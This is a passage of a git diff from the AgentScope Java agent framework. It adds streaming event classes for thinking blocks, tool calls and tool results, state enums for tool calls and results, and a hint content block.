b/agentscope-core/src/main/java/io/agentscope/core/event/ThinkingBlockDeltaEvent.java new file mode 100644 index 000000000..06723cc9d --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ThinkingBlockDeltaEvent.java @@ -0,0 +1,62 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +public class ThinkingBlockDeltaEvent extends AgentEvent { + + private final String replyId; + private final String blockId; + private final String delta; + + @JsonCreator + public ThinkingBlockDeltaEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("blockId") String blockId, + @JsonProperty("delta") String delta) { + super(id, createdAt); + this.replyId = replyId; + this.blockId = blockId; + this.delta = delta; + } + + public ThinkingBlockDeltaEvent(String replyId, String blockId, String delta) { + this.replyId = replyId; + this.blockId = blockId; + this.delta = delta; + } + + @Override + public AgentEventType getType() { + return AgentEventType.THINKING_BLOCK_DELTA; + } + + public String getReplyId() { + return replyId; + } + + public String getBlockId() { + return blockId; + } + + public String getDelta() { + return delta; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ThinkingBlockEndEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/ThinkingBlockEndEvent.java new file mode 100644 index 000000000..5db50b9cf --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ThinkingBlockEndEvent.java @@ -0,0 +1,54 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +public class ThinkingBlockEndEvent extends AgentEvent { + + private final String replyId; + private final String blockId; + + @JsonCreator + public ThinkingBlockEndEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("blockId") String blockId) { + super(id, createdAt); + this.replyId = replyId; + this.blockId = blockId; + } + + public ThinkingBlockEndEvent(String replyId, String blockId) { + this.replyId = replyId; + this.blockId = blockId; + } + + @Override + public AgentEventType getType() { + return AgentEventType.THINKING_BLOCK_END; + } + + public String getReplyId() { + return replyId; + } + + public String getBlockId() { + return blockId; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ThinkingBlockStartEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/ThinkingBlockStartEvent.java new file mode 100644 index 000000000..0e4032665 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ThinkingBlockStartEvent.java @@ -0,0 +1,54 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +public class ThinkingBlockStartEvent extends AgentEvent { + + private final String replyId; + private final String blockId; + + @JsonCreator + public ThinkingBlockStartEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("blockId") String blockId) { + super(id, createdAt); + this.replyId = replyId; + this.blockId = blockId; + } + + public ThinkingBlockStartEvent(String replyId, String blockId) { + this.replyId = replyId; + this.blockId = blockId; + } + + @Override + public AgentEventType getType() { + return AgentEventType.THINKING_BLOCK_START; + } + + public String getReplyId() { + return replyId; + } + + public String getBlockId() { + return blockId; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ToolCallDeltaEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/ToolCallDeltaEvent.java new file mode 100644 index 000000000..060a52f1e --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ToolCallDeltaEvent.java @@ -0,0 +1,65 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +/** + * Emitted as tool call input arguments are streamed incrementally. + */ +public class ToolCallDeltaEvent extends AgentEvent { + + private final String replyId; + private final String toolCallId; + private final String delta; + + @JsonCreator + public ToolCallDeltaEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("toolCallId") String toolCallId, + @JsonProperty("delta") String delta) { + super(id, createdAt); + this.replyId = replyId; + this.toolCallId = toolCallId; + this.delta = delta; + } + + public ToolCallDeltaEvent(String replyId, String toolCallId, String delta) { + this.replyId = replyId; + this.toolCallId = toolCallId; + this.delta = delta; + } + + @Override + public AgentEventType getType() { + return AgentEventType.TOOL_CALL_DELTA; + } + + public String getReplyId() { + return replyId; + } + + public String getToolCallId() { + return toolCallId; + } + + public String getDelta() { + return delta; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ToolCallEndEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/ToolCallEndEvent.java new file mode 100644 index 000000000..fb498aef2 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ToolCallEndEvent.java @@ -0,0 +1,54 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +public class ToolCallEndEvent extends AgentEvent { + + private final String replyId; + private final String toolCallId; + + @JsonCreator + public ToolCallEndEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("toolCallId") String toolCallId) { + super(id, createdAt); + this.replyId = replyId; + this.toolCallId = toolCallId; + } + + public ToolCallEndEvent(String replyId, String toolCallId) { + this.replyId = replyId; + this.toolCallId = toolCallId; + } + + @Override + public AgentEventType getType() { + return AgentEventType.TOOL_CALL_END; + } + + public String getReplyId() { + return replyId; + } + + public String getToolCallId() { + return toolCallId; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ToolCallStartEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/ToolCallStartEvent.java new file mode 100644 index 000000000..b1f6ec4e9 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ToolCallStartEvent.java @@ -0,0 +1,62 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +public class ToolCallStartEvent extends AgentEvent { + + private final String replyId; + private final String toolCallId; + private final String toolCallName; + + @JsonCreator + public ToolCallStartEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("toolCallId") String toolCallId, + @JsonProperty("toolCallName") String toolCallName) { + super(id, createdAt); + this.replyId = replyId; + this.toolCallId = toolCallId; + this.toolCallName = toolCallName; + } + + public ToolCallStartEvent(String replyId, String toolCallId, String toolCallName) { + this.replyId = replyId; + this.toolCallId = toolCallId; + this.toolCallName = toolCallName; + } + + @Override + public AgentEventType getType() { + return AgentEventType.TOOL_CALL_START; + } + + public String getReplyId() { + return replyId; + } + + public String getToolCallId() { + return toolCallId; + } + + public String getToolCallName() { + return toolCallName; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ToolResultDataDeltaEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/ToolResultDataDeltaEvent.java new file mode 100644 index 000000000..3e10784f0 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ToolResultDataDeltaEvent.java @@ -0,0 +1,63 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; +import io.agentscope.core.message.ContentBlock; + +public class ToolResultDataDeltaEvent extends AgentEvent { + + private final String replyId; + private final String toolCallId; + private final ContentBlock data; + + @JsonCreator + public ToolResultDataDeltaEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("toolCallId") String toolCallId, + @JsonProperty("data") ContentBlock data) { + super(id, createdAt); + this.replyId = replyId; + this.toolCallId = toolCallId; + this.data = data; + } + + public ToolResultDataDeltaEvent(String replyId, String toolCallId, ContentBlock data) { + this.replyId = replyId; + this.toolCallId = toolCallId; + this.data = data; + } + + @Override + public AgentEventType getType() { + return AgentEventType.TOOL_RESULT_DATA_DELTA; + } + + public String getReplyId() { + return replyId; + } + + public String getToolCallId() { + return toolCallId; + } + + public ContentBlock getData() { + return data; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ToolResultEndEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/ToolResultEndEvent.java new file mode 100644 index 000000000..de8d27aea --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ToolResultEndEvent.java @@ -0,0 +1,63 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; +import io.agentscope.core.message.ToolResultState; + +public class ToolResultEndEvent extends AgentEvent { + + private final String replyId; + private final String toolCallId; + private final ToolResultState state; + + @JsonCreator + public ToolResultEndEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("toolCallId") String toolCallId, + @JsonProperty("state") ToolResultState state) { + super(id, createdAt); + this.replyId = replyId; + this.toolCallId = toolCallId; + this.state = state; + } + + public ToolResultEndEvent(String replyId, String toolCallId, ToolResultState state) { + this.replyId = replyId; + this.toolCallId = toolCallId; + this.state = state; + } + + @Override + public AgentEventType getType() { + return AgentEventType.TOOL_RESULT_END; + } + + public String getReplyId() { + return replyId; + } + + public String getToolCallId() { + return toolCallId; + } + + public ToolResultState getState() { + return state; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ToolResultStartEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/ToolResultStartEvent.java new file mode 100644 index 000000000..5378903f4 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ToolResultStartEvent.java @@ -0,0 +1,62 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +public class ToolResultStartEvent extends AgentEvent { + + private final String replyId; + private final String toolCallId; + private final String toolCallName; + + @JsonCreator + public ToolResultStartEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("toolCallId") String toolCallId, + @JsonProperty("toolCallName") String toolCallName) { + super(id, createdAt); + this.replyId = replyId; + this.toolCallId = toolCallId; + this.toolCallName = toolCallName; + } + + public ToolResultStartEvent(String replyId, String toolCallId, String toolCallName) { + this.replyId = replyId; + this.toolCallId = toolCallId; + this.toolCallName = toolCallName; + } + + @Override + public AgentEventType getType() { + return AgentEventType.TOOL_RESULT_START; + } + + public String getReplyId() { + return replyId; + } + + public String getToolCallId() { + return toolCallId; + } + + public String getToolCallName() { + return toolCallName; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/ToolResultTextDeltaEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/ToolResultTextDeltaEvent.java new file mode 100644 index 000000000..41a9daf25 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/ToolResultTextDeltaEvent.java @@ -0,0 +1,62 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +public class ToolResultTextDeltaEvent extends AgentEvent { + + private final String replyId; + private final String toolCallId; + private final String delta; + + @JsonCreator + public ToolResultTextDeltaEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("toolCallId") String toolCallId, + @JsonProperty("delta") String delta) { + super(id, createdAt); + this.replyId = replyId; + this.toolCallId = toolCallId; + this.delta = delta; + } + + public ToolResultTextDeltaEvent(String replyId, String toolCallId, String delta) { + this.replyId = replyId; + this.toolCallId = toolCallId; + this.delta = delta; + } + + @Override + public AgentEventType getType() { + return AgentEventType.TOOL_RESULT_TEXT_DELTA; + } + + public String getReplyId() { + return replyId; + } + + public String getToolCallId() { + return toolCallId; + } + + public String getDelta() { + return delta; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/UserConfirmResultEvent.java b/agentscope-core/src/main/java/io/agentscope/core/event/UserConfirmResultEvent.java new file mode 100644 index 000000000..f10ac502a --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/event/UserConfirmResultEvent.java @@ -0,0 +1,58 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.event; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; +import java.util.List; + +/** + * Emitted after the user has responded to a {@link RequireUserConfirmEvent}. + */ +public class UserConfirmResultEvent extends AgentEvent { + + private final String replyId; + private final List confirmResults; + + @JsonCreator + public UserConfirmResultEvent( + @JsonProperty("id") String id, + @JsonProperty("createdAt") String createdAt, + @JsonProperty("replyId") String replyId, + @JsonProperty("confirmResults") List confirmResults) { + super(id, createdAt); + this.replyId = replyId; + this.confirmResults = confirmResults != null ? List.copyOf(confirmResults) : List.of(); + } + + public UserConfirmResultEvent(String replyId, List confirmResults) { + this.replyId = replyId; + this.confirmResults = confirmResults != null ? List.copyOf(confirmResults) : List.of(); + } + + @Override + public AgentEventType getType() { + return AgentEventType.USER_CONFIRM_RESULT; + } + + public String getReplyId() { + return replyId; + } + + public List getConfirmResults() { + return confirmResults; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/message/ContentBlock.java b/agentscope-core/src/main/java/io/agentscope/core/message/ContentBlock.java index 55afe0393..f4719cc56 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/message/ContentBlock.java +++ b/agentscope-core/src/main/java/io/agentscope/core/message/ContentBlock.java @@ -35,6 +35,7 @@ *

  • {@link VideoBlock} - Video content (URL or Base64) *
  • {@link ToolUseBlock} - Tool execution requests *
  • {@link ToolResultBlock} - Tool execution results + *
  • {@link HintBlock} - Hints for LLM reasoning (e.g., from RAG) * * *

    Uses Jackson annotations for polymorphic JSON serialization with the "type" discriminator @@ -49,7 +50,8 @@ @JsonSubTypes.Type(value = AudioBlock.class, name = "audio"), @JsonSubTypes.Type(value = VideoBlock.class, name = "video"), @JsonSubTypes.Type(value = ToolUseBlock.class, name = "tool_use"), - @JsonSubTypes.Type(value = ToolResultBlock.class, name = "tool_result") + @JsonSubTypes.Type(value = ToolResultBlock.class, name = "tool_result"), + @JsonSubTypes.Type(value = HintBlock.class, name = "hint") }) public sealed class ContentBlock implements State permits TextBlock, @@ -58,4 +60,5 @@ public sealed class ContentBlock implements State VideoBlock, ThinkingBlock, ToolUseBlock, - ToolResultBlock {} + ToolResultBlock, + HintBlock {} diff --git a/agentscope-core/src/main/java/io/agentscope/core/message/HintBlock.java b/agentscope-core/src/main/java/io/agentscope/core/message/HintBlock.java new file mode 100644 index 000000000..337e4339b --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/message/HintBlock.java @@ -0,0 +1,56 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.message; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +/** + * A content block that provides hints to the LLM during reasoning. + * + *

    Hint blocks are injected by middleware or memory systems (e.g., RAG) to supply + * contextual information that guides the agent's reasoning without being part of + * the conversation history. + */ +public final class HintBlock extends ContentBlock { + + private final String id; + private final String hint; + + @JsonCreator + public HintBlock(@JsonProperty("id") String id, @JsonProperty("hint") String hint) { + this.id = id; + this.hint = hint; + } + + /** + * Gets the unique identifier of this hint block. + * + * @return The hint block ID + */ + public String getId() { + return id; + } + + /** + * Gets the hint text. + * + * @return The hint content + */ + public String getHint() { + return hint; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/message/ToolCallState.java b/agentscope-core/src/main/java/io/agentscope/core/message/ToolCallState.java new file mode 100644 index 000000000..08f9e31f5 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/message/ToolCallState.java @@ -0,0 +1,41 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.message; + +import com.fasterxml.jackson.annotation.JsonValue; + +public enum ToolCallState { + PENDING("pending"), + + ASKING("asking"), + + ALLOWED("allowed"), + + SUBMITTED("submitted"), + + FINISHED("finished"); + + private final String value; + + ToolCallState(String value) { + this.value = value; + } + + @JsonValue + public String getValue() { + return value; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/message/ToolResultBlock.java b/agentscope-core/src/main/java/io/agentscope/core/message/ToolResultBlock.java index f1caf26c3..3f64596f2 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/message/ToolResultBlock.java +++ b/agentscope-core/src/main/java/io/agentscope/core/message/ToolResultBlock.java @@ -41,17 +41,25 @@ public final class ToolResultBlock extends ContentBlock { private final String name; private final List output; private final Map metadata; + private final ToolResultState state; @JsonCreator public ToolResultBlock( @JsonProperty("id") String id, @JsonProperty("name") String name, @JsonProperty("output") List output, - @JsonProperty("metadata") Map metadata) { + @JsonProperty("metadata") Map metadata, + @JsonProperty("state") ToolResultState state) { this.id = id; this.name = name; this.output = output != null ? List.copyOf(output) : List.of(); this.metadata = metadata != null ? Map.copyOf(metadata) : Map.of(); + this.state = state != null ? state : ToolResultState.RUNNING; + } + + public ToolResultBlock( + String id, String name, List output, Map metadata) { + this(id, name, output, metadata, null); } /** @@ -62,7 +70,7 @@ public ToolResultBlock( * @param output Single content block as output */ public ToolResultBlock(String id, String name, ContentBlock output) { - this(id, name, List.of(output), null); + this(id, name, List.of(output), null, null); } /** @@ -73,7 +81,7 @@ public ToolResultBlock(String id, String name, ContentBlock output) { * @param output List of content blocks as output */ public ToolResultBlock(String id, String name, List output) { - this(id, name, output, null); + this(id, name, output, null, null); } /** @@ -112,6 +120,25 @@ public Map getMetadata() { return metadata; } + /** + * Gets the tool result state. + * + * @return The tool result state + */ + public ToolResultState getState() { + return state; + } + + /** + * Returns a copy of this block with the given state. + * + * @param state The new state + * @return A new ToolResultBlock with the updated state + */ + public ToolResultBlock withState(ToolResultState state) { + return new ToolResultBlock(this.id, this.name, this.output, this.metadata, state); + } + /** * Checks if this result is suspended for external execution. * @@ -286,7 +313,7 @@ public static ToolResultBlock of( * @return New ToolResultBlock with id and name set */ public ToolResultBlock withIdAndName(String id, String name) { - return new ToolResultBlock(id, name, this.output, this.metadata); + return new ToolResultBlock(id, name, this.output, this.metadata, this.state); } /** @@ -306,6 +333,7 @@ public static class Builder { private String name; private List output; private Map metadata; + private ToolResultState state; /** * Sets the tool call ID. @@ -362,13 +390,24 @@ public Builder metadata(Map metadata) { return this; } + /** + * Sets the tool result state. + * + * @param state The tool result state + * @return This builder for chaining + */ + public Builder state(ToolResultState state) { + this.state = state; + return this; + } + /** * Builds a new ToolResultBlock with the configured properties. * * @return A new ToolResultBlock instance */ public ToolResultBlock build() { - return new ToolResultBlock(id, name, output, metadata); + return new ToolResultBlock(id, name, output, metadata, state); } } } diff --git a/agentscope-core/src/main/java/io/agentscope/core/message/ToolResultState.java b/agentscope-core/src/main/java/io/agentscope/core/message/ToolResultState.java new file mode 100644 index 000000000..10a729e25 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/message/ToolResultState.java @@ -0,0 +1,41 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.message; + +import com.fasterxml.jackson.annotation.JsonValue; + +public enum ToolResultState { + SUCCESS("success"), + + ERROR("error"), + + INTERRUPTED("interrupted"), + + DENIED("denied"), + + RUNNING("running"); + + private final String value; + + ToolResultState(String value) { + this.value = value; + } + + @JsonValue + public String getValue() { + return value; + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/message/ToolUseBlock.java b/agentscope-core/src/main/java/io/agentscope/core/message/ToolUseBlock.java index f83d79249..eb0fbe7fe 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/message/ToolUseBlock.java +++ b/agentscope-core/src/main/java/io/agentscope/core/message/ToolUseBlock.java @@ -41,6 +41,7 @@ public final class ToolUseBlock extends ContentBlock { private final Map input; private final String content; // Raw content for streaming tool calls private final Map metadata; // Provider-specific metadata + private final ToolCallState state; /** * Creates a new tool use block for JSON deserialization. @@ -52,7 +53,7 @@ public final class ToolUseBlock extends ContentBlock { */ public ToolUseBlock( String id, String name, Map input, Map metadata) { - this(id, name, input, null, metadata); + this(id, name, input, null, metadata, null); } /** @@ -63,7 +64,7 @@ public ToolUseBlock( * @param input Input parameters for the tool (will be defensively copied) */ public ToolUseBlock(String id, String name, Map input) { - this(id, name, input, null, null); + this(id, name, input, null, null, null); } /** @@ -75,13 +76,33 @@ public ToolUseBlock(String id, String name, Map input) { * @param content Raw content for streaming tool calls * @param metadata Provider-specific metadata (will be defensively copied) */ + public ToolUseBlock( + String id, + String name, + Map input, + String content, + Map metadata) { + this(id, name, input, content, metadata, null); + } + + /** + * Creates a new tool use block with all fields. + * + * @param id Unique identifier for this tool call + * @param name Name of the tool to execute + * @param input Input parameters for the tool (will be defensively copied) + * @param content Raw content for streaming tool calls + * @param metadata Provider-specific metadata (will be defensively copied) + * @param state The tool call state, defaults to PENDING if null + */ @JsonCreator public ToolUseBlock( @JsonProperty("id") String id, @JsonProperty("name") String name, @JsonProperty("input") Map input, @JsonProperty("content") String content, - @JsonProperty("metadata") Map metadata) { + @JsonProperty("metadata") Map metadata, + @JsonProperty("state") ToolCallState state) { this.id = id; this.name = name; // Defensive copy to prevent external modifications @@ -94,6 +115,7 @@ public ToolUseBlock( metadata == null ? Collections.emptyMap() : Collections.unmodifiableMap(new HashMap<>(metadata)); + this.state = state != null ? state : ToolCallState.PENDING; } /** @@ -144,6 +166,25 @@ public Map getMetadata() { return metadata; } + /** + * Gets the tool call state. + * + * @return The tool call state + */ + public ToolCallState getState() { + return state; + } + + /** + * Returns a copy of this block with the given state. + * + * @param state The new state + * @return A new ToolUseBlock with the updated state + */ + public ToolUseBlock withState(ToolCallState state) { + return new ToolUseBlock(this.id, this.name, this.input, this.content, this.metadata, state); + } + /** * Creates a new builder for constructing a ToolUseBlock. * @@ -162,6 +203,7 @@ public static class Builder { private Map input; private String content; private Map metadata; + private ToolCallState state; /** * Sets the unique identifier for the tool call. @@ -221,13 +263,24 @@ public Builder metadata(Map metadata) { return this; } + /** + * Sets the tool call state. + * + * @param state The tool call state + * @return This builder for chaining + */ + public Builder state(ToolCallState state) { + this.state = state; + return this; + } + /** * Builds a new ToolUseBlock with the configured properties. * * @return A new ToolUseBlock instance */ public ToolUseBlock build() { - return new ToolUseBlock(id, name, input, content, metadata); + return new ToolUseBlock(id, name, input, content, metadata, state); } } } diff --git a/agentscope-core/src/main/java/io/agentscope/core/middleware/ActingInput.java b/agentscope-core/src/main/java/io/agentscope/core/middleware/ActingInput.java new file mode 100644 index 000000000..a8f03cc8f --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/middleware/ActingInput.java @@ -0,0 +1,26 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.middleware; + +import io.agentscope.core.message.ToolUseBlock; +import java.util.List; + +/** + * Input context for {@link Middleware#onActing}. + * + * @param toolCalls the tool calls to execute + */ +public record ActingInput(List toolCalls) {} diff --git a/agentscope-core/src/main/java/io/agentscope/core/middleware/Middleware.java b/agentscope-core/src/main/java/io/agentscope/core/middleware/Middleware.java new file mode 100644 index 000000000..e9e74c1bb 